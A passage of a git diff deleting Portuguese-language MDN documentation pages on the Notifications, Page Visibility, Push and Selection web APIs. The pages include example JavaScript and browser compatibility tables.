- // Finally, if the user has denied notifications and you
- // want to be respectful there is no need to bother them any more.
-}</pre>
-
-<div class="note">
-<p><strong>Note:</strong> Before version 37, Chrome doesn't let you call {{domxref("Notification.requestPermission()")}} in the <code>load</code> event handler (see <a href="https://code.google.com/p/chromium/issues/detail?id=274284" title="https://code.google.com/p/chromium/issues/detail?id=274284">issue 274284</a>).</p>
-</div>
-
-<h3 id="Permissões_de_manifesto_do_Firefox_OS">Permissões de manifesto do Firefox OS</h3>
-
-<p>Please note that while the Notifications API is not {{Glossary("privileged")}} or {{Glossary("certified")}}, you should still include an entry in your <code>manifest.webapp</code> file when including it in an Firefox OS app:</p>
-
-<pre>"permissions": {
- "desktop-notification": {
- "description": "Needed for creating system notifications."
- }
-},
-"messages": [{"notification": "path/to/your/index.html"}]
-
-</pre>
-
-<div class="note">
-<p><strong>Note</strong>: When an application is installed, you shouldn't need to {{anch("Getting permission","explicitly request permission")}}, but you will still need the permissions and messages entries above for the notifications to be fired.</p>
-</div>
-
-<h2 id="Criação_de_uma_notificação">Criação de uma notificação</h2>
-
-<p>Creating a notification is easy; just use the {{domxref("Notification")}} constructor. This constructor expects a title to display within the notification and some options to enhance the notification such as an {{domxref("Notification.icon","icon")}} or a text {{domxref("Notification.body","body")}}.</p>
-
-<p>For example, in the <a href="https://github.com/mdn/emogotchi/blob/gh-pages/main.js#L101-L117">Emogotchi example</a> we have two functions that can be called when a notification needs to be fired; which one is used depends on whether we want a set notification, or a notification that includes random body content:</p>
-
-<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
- var options = {
- body: theBody,
- icon: theIcon
- }
- var n = new Notification(theTitle,options);
- setTimeout(n.close.bind(n), 5000);
-}
-
-function randomNotification() {
- var randomQuote = quoteChooser();
- var options = {
- body: randomQuote,
- icon: 'img/sad_head.png',
- }
-
- var n = new Notification('Emogotchi says',options);
- setTimeout(n.close.bind(n), 5000);
-}</pre>
-
-<h2 id="Fechar_notificações">Fechar notificações</h2>
-
-<p>Firefox and Safari close notifications automatically after a few moments (around four seconds). This may also happen at the operating system level. Some browsers don't however, such as Chrome. To make sure that the notifications close in all browsers, at the end of the above functions, we call the {{domxref("Notification.close")}} func<code>tion</code> inside a {{domxref("WindowTimers.setTimeout","setTimeout()")}} function to close the notification after 4 seconds. Also note the use of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind()</a></code> to make sure the <code>close()</code> call is associated with the notification.</p>
-
-<pre class="brush: js">setTimeout(n.close.bind(n), 5000);
-</pre>
-
-<div class="note">
-<p><strong>Note</strong>: When you receive a "close" event, there is no guarantee that it's the user who closed the notification. This is in line with the specification, which states: "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run."</p>
-</div>
-
-<h2 id="Eventos_de_notificação">Eventos de notificação</h2>
-
-<p>The notifications API spec lists two events that are triggered on the {{domxref("Notification")}} instance:</p>
-
-<dl>
- <dt>{{event("click")}}</dt>
- <dd>Triggered when the user clicks on the notification.</dd>
- <dt>{{event("error")}}</dt>
- <dd>Triggered if something goes wrong with the notification; this is usually because the notification couldn't be displayed for some reason.</dd>
-</dl>
-
-<p>These events can be tracked using the {{domxref("Notification.onclick","onclick")}} and {{domxref("Notification.onerror","onerror")}} handlers. Because {{domxref("Notification")}} also inherits from {{domxref("EventTarget")}}, it's possible to use the {{domxref("EventTarget.addEventListener","addEventListener()")}} method on it.</p>
-
-<p>There are also two other events that used to be listed in the spec, but were recently removed. These may still work in browsers for a while, but they should be treated as obsolete and not used:</p>
-
-<dl>
- <dt>{{event("close")}}</dt>
- <dd>Triggered once the notification is closed.</dd>
- <dt>{{event("show")}}</dt>
- <dd>Triggered when the notification is displayed to the user.</dd>
-</dl>
-
-<h2 id="Substituir_notificações_existentes">Substituir notificações existentes</h2>
-
-<p>It is usually undesirable for a user to receive a lot of notifications in a short space of time — for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? To avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.</p>
-
-<p>To do this, it's possible to add a tag to any new notification. If a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. If the notification with the same tag has already <span style="line-height: 1.5;">been </span><span style="line-height: 1.5;">displayed, the previous notification is closed and the new one is displayed.</span></p>
-
-<h3 id="Exemplo_de_etiqueta">Exemplo de etiqueta</h3>
-
-<p>Assume the following basic HTML:</p>
-
-<pre class="brush: html">&lt;button&gt;Notify me!&lt;/button&gt;</pre>
-
-<p>It's possible to handle multiple notifications this way:</p>
-
-<pre class="brush: js">window.addEventListener('load', function () {
- // At first, let's check if we have permission for notification
- // If not, let's ask for it
- if (window.Notification &amp;&amp; Notification.permission !== "granted") {
- Notification.requestPermission(function (status) {
- if (Notification.permission !== status) {
- Notification.permission = status;
- }
- });
- }
-
- var button = document.getElementsByTagName('button')[0];
-
- button.addEventListener('click', function () {
- // If the user agreed to get notified
- // Let's try to send ten notifications
- if (window.Notification &amp;&amp; Notification.permission === "granted") {
- var i = 0;
- // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
- var interval = window.setInterval(function () {
- // Thanks to the tag, we should only see the "Hi! 9" notification
- var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
- if (i++ == 9) {
- window.clearInterval(interval);
- }
- }, 200);
- }
-
- // If the user hasn't told if he wants to be notified or not
- // Note: because of Chrome, we are not sure the permission property
- // is set, therefore it's unsafe to check for the "default" value.
- else if (window.Notification &amp;&amp; Notification.permission !== "denied") {
- Notification.requestPermission(function (status) {
- if (Notification.permission !== status) {
- Notification.permission = status;
- }
-
- // If the user said okay
- if (status === "granted") {
- var i = 0;
- // Using an interval cause some browsers (including Firefox) are blocking notifications if there are too much in a certain time.
- var interval = window.setInterval(function () {
- // Thanks to the tag, we should only see the "Hi! 9" notification
- var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
- if (i++ == 9) {
- window.clearInterval(interval);
- }
- }, 200);
- }
-
- // Otherwise, we can fallback to a regular modal alert
- else {
- alert("Hi!");
- }
- });
- }
-
- // If the user refuses to get notified
- else {
- // We can fallback to a regular modal alert
- alert("Hi!");
- }
- });
-});</pre>
-
-<p>See the live result below:</p>
-
-<p>{{ EmbedLiveSample('Tag_example', '100%', 30) }}</p>
-
-<h2 id="Receber_notificação_de_cliques_nas_notificações_da_aplicação">Receber notificação de cliques nas notificações da aplicação</h2>
-
-<p>When a user clicks on a notification generated by an app, you will be notified of this event in two different ways, depending on the circumstance:</p>
-
-<ol>
- <li>A click event if your app has not closed or been put in the background between the time you create the notification and the time the user clicks on it.</li>
- <li>A <a href="/en-US/docs/Web/API/Navigator/mozSetMessageHandler">system message</a> otherwise.</li>
-</ol>
-
-<p>See <a href="https://github.com/mozilla/buddyup/commit/829cba7afa576052cf601c3e286b8d1981f93f45#diff-3">this code snippet</a> for an example of how to deal with this.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Web Notifications')}}</td>
- <td>{{Spec2('Web Notifications')}}</td>
- <td>Living standard</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{page("/en-US/Web/API/Notification","Browser compatibility")}}</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/Apps/Build/User_notifications">Referência das notificações do utilizador</a></li>
- <li><a href="/en-US/Apps/Build/User_notifications/Notifying_users_via_the_Notification_and_Vibration">Notificação dos utilziadores via APIs de Notificação e Vibração</a></li>
- <li>{{ domxref("Notificação") }}</li>
-</ul>
diff --git a/files/pt-pt/web/api/page_visibility_api/index.html b/files/pt-pt/web/api/page_visibility_api/index.html
deleted file mode 100644
index de3ee0b3ab..0000000000
--- a/files/pt-pt/web/api/page_visibility_api/index.html
+++ /dev/null
@@ -1,271 +0,0 @@
----
-title: Page Visibility API
-slug: Web/API/Page_Visibility_API
-tags:
- - API
- - DOM
- - Intermediário
- - Tutoriais
-translation_of: Web/API/Page_Visibility_API
----
-<div>{{DefaultAPISidebar("Page Visibility API")}}</div>
-
-<p><span class="seoSummary">A <strong>Page Visibility API</strong> </span>permite-lhe saber quando uma página da <em>Web </em>está visível ou em foco. Com a navegação por separadores, existe uma chance razoável de que qualquer página da <em>Web </em>esteja em segundo plano e, portanto, não seja visível para o utilizador. Quando o utilizador minimiza a página da <em>Web </em>ou move-se para outro separador, a API envia um evento {{event('visibilitychange')}} sobre a visibilidade da página. Pode detetar o evento e executar algumas ações ou comportar-se de forma diferente. Por exemplo, se a sua aplicação da <em>Web </em>estiver a reproduzir um vídeo, esta pausará o momento em que o utilizador olha para outro navegador, e reproduz novamente quando o utilizador volta ao separador. O utilizador não perde o seu lugar no vídeo e pode continuar a assistir.</p>
-
-<p>Estados de visibilidade de uma {{HTMLElement("iframe")}} são iguais ao documento original. Ocultar a iframe com propriedades CSS não desencadeia eventos de visibilidade nem altera o estado do documento de conteúdo.</p>
-
-<h3 id="Benefícios">Benefícios</h3>
-
-<p>The API is particularly useful for saving resources by giving developers the opportunity to not perform unnecessary tasks when the webpage is not visible.</p>
-
-<ul>
-</ul>
-
-<h3 id="Casos_de_utilização">Casos de utilização</h3>
-
-<p>Alguns exemplos:</p>
-
-<ul>
- <li>A site has an image carousel that shouldn't advance to the next slide unless the user is viewing the page.</li>
- <li>An application showing a dashboard of information doesn't want to poll the server for updates when the page isn't visible.</li>
- <li>A page wants to detect when it is being prerendered so it can keep accurate count of page views.</li>
- <li>A site wants to switch off sounds when a device is in standby mode (user pushes power button to turn screen off)</li>
-</ul>
-
-<p>Developers have historically used imperfect proxies to detect this. For example, registering an onblur/onfocus handler on the window helps you know when your page is not the active page, but it does not tell you that your page is hidden to the user. The Page Visibility API addresses this. (When compared with registering onblur/onfocus handlers on the window, a key difference is that a page does <em>not</em> become hidden when another window is made active and the browser window loses focus. A page only becomes hidden when the user switches to a different tab or minimizes the browser window.)</p>
-
-<h3 id="Políticas_em_vigor_para_auxiliar_o_desempenho_da_página_de_fundo">Políticas em vigor para auxiliar o desempenho da página de fundo</h3>
-
-<p>Along with the Page Visibility API, there are a number of policies in place to mitigate negative performance effects associated with background tabs:</p>
-
-<ul>
- <li>{{domxref("Window.requestAnimationFrame()")}} calls are paused in most browsers when running in background tabs or hidden {{ HTMLElement("iframe") }}s in order to improve performance and battery life.</li>
- <li>Timers such as {{domxref("WindowOrWorkerGlobalScope.setTimeout")}} are throttled in background/inactive tabs to help improve performance. See <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a> for more details.</li>
- <li>Budget-based background timeout throttling is now available in modern browsers (Firefox 58+, Chrome 57+), placing an additional limit on background timer CPU usage. This operates in a similar way across modern browsers, with the details being as follows:
- <ul>
- <li>In Firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively. Chrome is very similar except that the budget is specified in seconds.</li>
- <li>Windows are subjected to throttling after 30 seconds, with the same throttling delay rules as specified for window timers (again, see <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a>.) In Chrome, this value is 10 seconds.</li>
- <li>Timer tasks are only permitted when the budget is non-negative.</li>
- <li>When a timer has executed, the execution time is deducted from the budget of the window where the timeout gets called from.</li>
- <li>The budget regenerates at a rate of 10 ms per second, in both Firefox and Chrome.</li>
- </ul>
- </li>
- <li>Some processes are exempt from this throttling behaviour:
- <ul>
- <li>Applications playing audio are considered foreground and aren’t throttled.</li>
- <li>Applications with real-time connections (<a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> and <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>), to avoid closing these connections by timeout.</li>
- <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> processes.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Ver <a href="http://daniemon.com/tech/webapps/page-visibility/">exemplo live </a>(vídeo com som).</p>
-
-<p>O exemplo, que pausa o vídeo quando muda para outro separador e reproduz novamente quando volta ao seu separador, foi criado com o seguinte código:</p>
-
-<pre class="brush: js">// Set the name of the hidden property and the change event for visibility
-var hidden, visibilityChange;
-if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
- hidden = "hidden";
- visibilityChange = "visibilitychange";
-} else if (typeof document.msHidden !== "undefined") {
- hidden = "msHidden";
- visibilityChange = "msvisibilitychange";
-} else if (typeof document.webkitHidden !== "undefined") {
- hidden = "webkitHidden";
- visibilityChange = "webkitvisibilitychange";
-}
-
-var videoElement = document.getElementById("videoElement");
-
-// If the page is hidden, pause the video;
-// if the page is shown, play the video
-function handleVisibilityChange() {
- if (document[hidden]) {
- videoElement.pause();
- } else {
- videoElement.play();
- }
-}
-
-// Warn if the browser doesn't support addEventListener or the Page Visibility API
-if (typeof document.addEventListener === "undefined" || typeof document.hidden === "undefined") {
- console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
-} else {
- // Handle page visibility change
- document.addEventListener(visibilityChange, handleVisibilityChange, false);
-
- // When the video pauses, set the title.
- // This shows the paused
- videoElement.addEventListener("pause", function(){
- document.title = 'Paused';
- }, false);
-
- // When the video plays, set the title.
- videoElement.addEventListener("play", function(){
- document.title = 'Playing';
- }, false);
-
-}
-</pre>
-
-<h2 id="Resumo_das_propriedades">Resumo das propriedades</h2>
-
-<dl>
- <dt>
- <p id="document.hidden_Read_only">{{domxref("document.hidden")}} <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></p>
- </dt>
- <dd>
- <p>Returns <code>true</code> if the page is in a state considered to be hidden to the user, and <code>false</code> otherwise.</p>
- </dd>
- <dt>
- <p id="document.visibilityState_Read_only">{{domxref("document.visibilityState")}} <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></p>
- </dt>
- <dd>
- <p>Is a <code>string</code> denoting the visibility state of the document. Possible values:</p>
-
- <ul>
- <li><code>visible</code> : the page content may be at least partially visible. In practice this means that the page is the foreground tab of a non-minimized window.</li>
- <li><code>hidden</code> : the page content is not visible to the user. In practice this means that the document is either a background tab or part of a minimized window, or the OS screen lock is active.</li>
- <li><code>prerender</code> : the page content is being prerendered and is not visible to the user (considered hidden for purposes of <code>document.hidden</code>). The document may start in this state, but will never transition to it from another value. Note: browser support is optional.</li>
- <li><code>unloaded</code> : the page is being unloaded from memory. Note: browser support is optional.</li>
- </ul>
-
- <pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere
-function handleVisibilityChange() {
- if (document.hidden) {
- pauseSimulation();
- } else {
- startSimulation();
- }
-}
-
-document.addEventListener("visibilitychange", handleVisibilityChange, false);
-</pre>
- </dd>
- <dt>
- <p>{{domxref("document.onvisibilitychange")}}</p>
- </dt>
- <dd>
- <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.</p>
- </dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('Page Visibility API')}}</td>
- <td>{{Spec2('Page Visibility API')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>13 {{property_prefix("webkit")}}<br>
- 33</td>
- <td>{{CompatGeckoDesktop(18)}}<sup>[2]</sup></td>
- <td>10</td>
- <td>12.10<sup>[1]</sup></td>
- <td>7</td>
- </tr>
- <tr>
- <td><code>onvisibilitychange</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop(56)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>Budget-based background timeout throttling</td>
- <td>57</td>
- <td>{{CompatGeckoDesktop(58)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>5.0<sup>[3]</sup></td>
- <td>{{CompatGeckoMobile(18)}}<sup>[2]</sup></td>
- <td>10</td>
- <td>12.10<sup>[1]</sup></td>
- <td>7<sup>[4]</sup></td>
- </tr>
- <tr>
- <td><code>onvisibilitychange</code></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile(56)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>Budget-based background timeout throttling</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile(58)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Doesn't fire the {{event("visibilitychange")}} event when the browser window is minimized, nor set <code>hidden</code> to <code>true</code>.</p>
-
-<p>[2] From Firefox 10 to Firefox 51 included, this property could be used prefixed with <code>moz</code>.</p>
-
-<p>[3] Android 4.4 supports this feature if prefixed with <code>webkit</code>.</p>
-
-<p>[4] From iOS 11.0.2 onwards, the values are not correct in standalone mode (when you press "Add to Homescreen") and when the screen is locked (you pressed the power button). The value for <code>hidden</code> is <code>false</code> and <code>visibilityState</code> is <code>visible</code>.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>Descrição da <a href="http://blogs.msdn.com/b/ie/archive/2011/07/08/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-2.aspx" title="Page Visibility on IEBlog">Page Visibility API</a> no IEBlog (inglês).</li>
- <li>Descrição da <a href="http://code.google.com/chrome/whitepapers/pagevisibility.html" title="Page Visibility API by Google">Page Visibility API</a> pela Google (inglês).</li>
-</ul>
diff --git a/files/pt-pt/web/api/push_api/index.html b/files/pt-pt/web/api/push_api/index.html
deleted file mode 100644
index 9e94962adc..0000000000
--- a/files/pt-pt/web/api/push_api/index.html
+++ /dev/null
@@ -1,175 +0,0 @@
----
-title: Push API
-slug: Web/API/Push_API
-tags:
- - API
- - Experimental
- - Landing
- - Notificações
- - Push
- - Referencia
- - Service Workers
-translation_of: Web/API/Push_API
----
-<div>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</div>
-
-<p class="summary"><strong>Push API</strong> permite que as aplicações da Web recebam as mensagens submetidas para as mesmas a partir de um servidor, se a aplicação da Web está em primeiro plano, ou mesmo atualmente carregada, num agente de utilizador. Isto permite que os programadores entreguem notificações e atualizações assíncronas aos utilizadores que optem, resultando num melhor compromisso com os novos conteúdos atualizados.</p>
-
-<h2 id="Conceitos_e_utilização_de_Push">Conceitos e utilização de <em>Push</em></h2>
-
-<p>For an app to receive push messages, it has to have an active <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>. When the service worker is active, it can subscribe to push notifications, using {{domxref("PushManager.subscribe()")}}.</p>
-
-<p>The resulting {{domxref("PushSubscription")}} includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data.</p>
-
-<p>The service worker will be started as necessary to handle incoming push messages, which are delivered to the {{domxref("ServiceWorkerGlobalScope.onpush")}} event handler. This allows apps to react to push messages being received, for example, by displaying a notification (using {{domxref("ServiceWorkerRegistration.showNotification()")}}.)</p>
-
-<p>Each subscription is unique to a service worker.  The endpoint for the subscription is a unique <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: knowledge of the endpoint is all that is necessary to send a message to your application. The endpoint URL therefore needs to be kept secret, or other applications might be able to send push messages to your application.</p>
-
-<p>Activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. Different browsers have different schemes for handling this, there is currently no standard mechanism. Firefox allows a limited number (quota) of push messages to be sent to an application, although Push messages that generate notifications are exempt from this limit. The limit is refreshed each time the site is visited. In comparison, Chrome applies no limit, but requires that every push message causes a notification to be displayed.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: As of Gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds. This handles cases where a burst of notifications is received, and not all generate a visible notification.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: Chrome versions earlier than 52 require you to set up a project on <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> to send push messages, and use the associated project number and API key when sending push notifications. It also requires an app manifest, with some special parameters to use this service.</p>
-</div>
-
-<h2 id="Interfaces">Interfaces</h2>
-
-<dl>
- <dt>{{domxref("PushEvent")}}</dt>
- <dd>Represents a push action, sent to the <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.</dd>
- <dt>{{domxref("PushManager")}}</dt>
- <dd>Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd>
- <dt>{{domxref("PushMessageData")}}</dt>
- <dd>Provides access to push data sent by a server, and includes methods to manipulate the received data.</dd>
- <dt>{{domxref("PushSubscription")}}</dt>
- <dd>Provides a subcription's URL endpoint, and allows unsubscription from a push service.</dd>
-</dl>
-
-<h2 id="Service_worker_additions">Service worker additions</h2>
-
-<p>The following additions to the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.</p>
-
-<dl>
- <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
- <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.</dd>
- <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
- <dd>An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.</dd>
- <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
- <dd>An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Mozilla's <a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> contains many useful Push examples.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName("Push API")}}</td>
- <td>{{Spec2("Push API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatChrome(42.0)}}</td>
- <td>{{CompatGeckoDesktop(44.0)}}<sup>[1][3]</sup></td>
- <td>{{CompatNo}}<sup>[2]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>{{domxref("PushEvent.data")}},<br>
- {{domxref("PushMessageData")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop(44.0)}}<sup>[3]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}<sup>[2]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(42.0)}}</td>
- </tr>
- <tr>
- <td>{{domxref("PushEvent.data")}},<br>
- {{domxref("PushMessageData")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<ul>
- <li>[1] Currently available only on desktop versions of Firefox; also, push messages are only delivered when Firefox is running.</li>
- <li>[2] This is currently not implemented. See the <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/pushapi/">Microsoft Edge status information</a>.</li>
- <li>[3] Push (and <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</li>
- <li>[4] Push has been enabled by default on Firefox for Android version 48.</li>
-</ul>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a></li>
- <li><a href="https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/">Web Push Notifications: Timely, Relevant, and Precise</a>,  Joseph Medley</li>
- <li><a href="/pt-PT/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/selection/index.html b/files/pt-pt/web/api/selection/index.html
deleted file mode 100644
index 7d4f7d8731..0000000000
--- a/files/pt-pt/web/api/selection/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: Selection (Seleção)
-slug: Web/API/Selection
-translation_of: Web/API/Selection
-original_slug: DOM/Selection
----
-<h3 id="Introduction" name="Introduction">Introdução</h3>
-
-<p>Selection é a classe do objeto retornado por <code><a href="/en/DOM/window.getSelection" title="en/DOM/window.getSelection">window.getSelection()</a></code> e outros métodos. Um objeto Selection representa os intervalos que o usuário tenha selecionado. Normalmente, ele tem apenas um intervalo, acessada assim:</p>
-
-<pre>selection = window.getSelection();
-range = selection.getRangeAt(0);</pre>
-
-<p>Chamar o método <code><a href="/en/DOM/Selection/toString" title="en/DOM/Selection/toString">toString()</a></code> retorna o texto contido na seleção, por exemplo:</p>
-
-<pre>selection = window.getSelection();
-window.alert(selection);
-</pre>
-
-<h3 id="Glossário">Glossário</h3>
-
-<p>Outros termos utilizados nesta seção.</p>
-
-<dl>
- <dt>Âncora (anchor)</dt>
- <dd>A âncora de uma seleção é o ponto de início da seleção. Ao fazer uma seleção com um mouse, a âncora no documento é o local onde o botão do mouse é inicialmente pressionado. Como o usuário muda a seleção usando o mouse ou o teclado, a âncora não se move.</dd>
- <dt>Foco (focus)</dt>
- <dd>O foco da seleção é o ponto final da seleção. Ao fazer uma seleção com o mouse, o foco está no documento onde o botão do mouse é liberado. Como o usuário muda a seleção usando o mouse ou o teclado, o foco é a final da seleção que se move.</dd>
- <dt>Intervalo (range)</dt>
- <dd>Um intervalo é uma parte contígua de um documento. Um intervalo pode conter nós inteiro, bem como partes de nós, como uma parte de um nó de texto. Um usuário normalmente só seleciona um intervalo de cada vez, mas é possível que um usuário selecione vários intervalos (por exemplo, usando a tecla Control). Um intervalo pode ser recuperado a partir de uma seleção como um objeto Range. Objetos Range também podem ser criadas através do DOM e programaticamente adicionado ou removido de uma seleção.</dd>
-</dl>
-
-<h3 id="Properties" name="Properties">Propriedades</h3>
-
-<dl>
- <dt><a href="/en/DOM/Selection/anchorNode" title="en/DOM/Selection/anchorNode">anchorNode</a></dt>
- <dd>Retorna o nó em que a seleção começa.</dd>
- <dt><a href="/en/DOM/Selection/anchorOffset" title="en/DOM/Selection/anchorOffset">anchorOffset</a></dt>
- <dd>Retorna o número de caracteres que a âncora da seleção é compensada dentro do anchorNode.</dd>
- <dt><a href="/en/DOM/Selection/focusNode" title="en/DOM/Selection/focusNode">focusNode</a></dt>
- <dd>Retorna o nó em que a seleção termina.</dd>
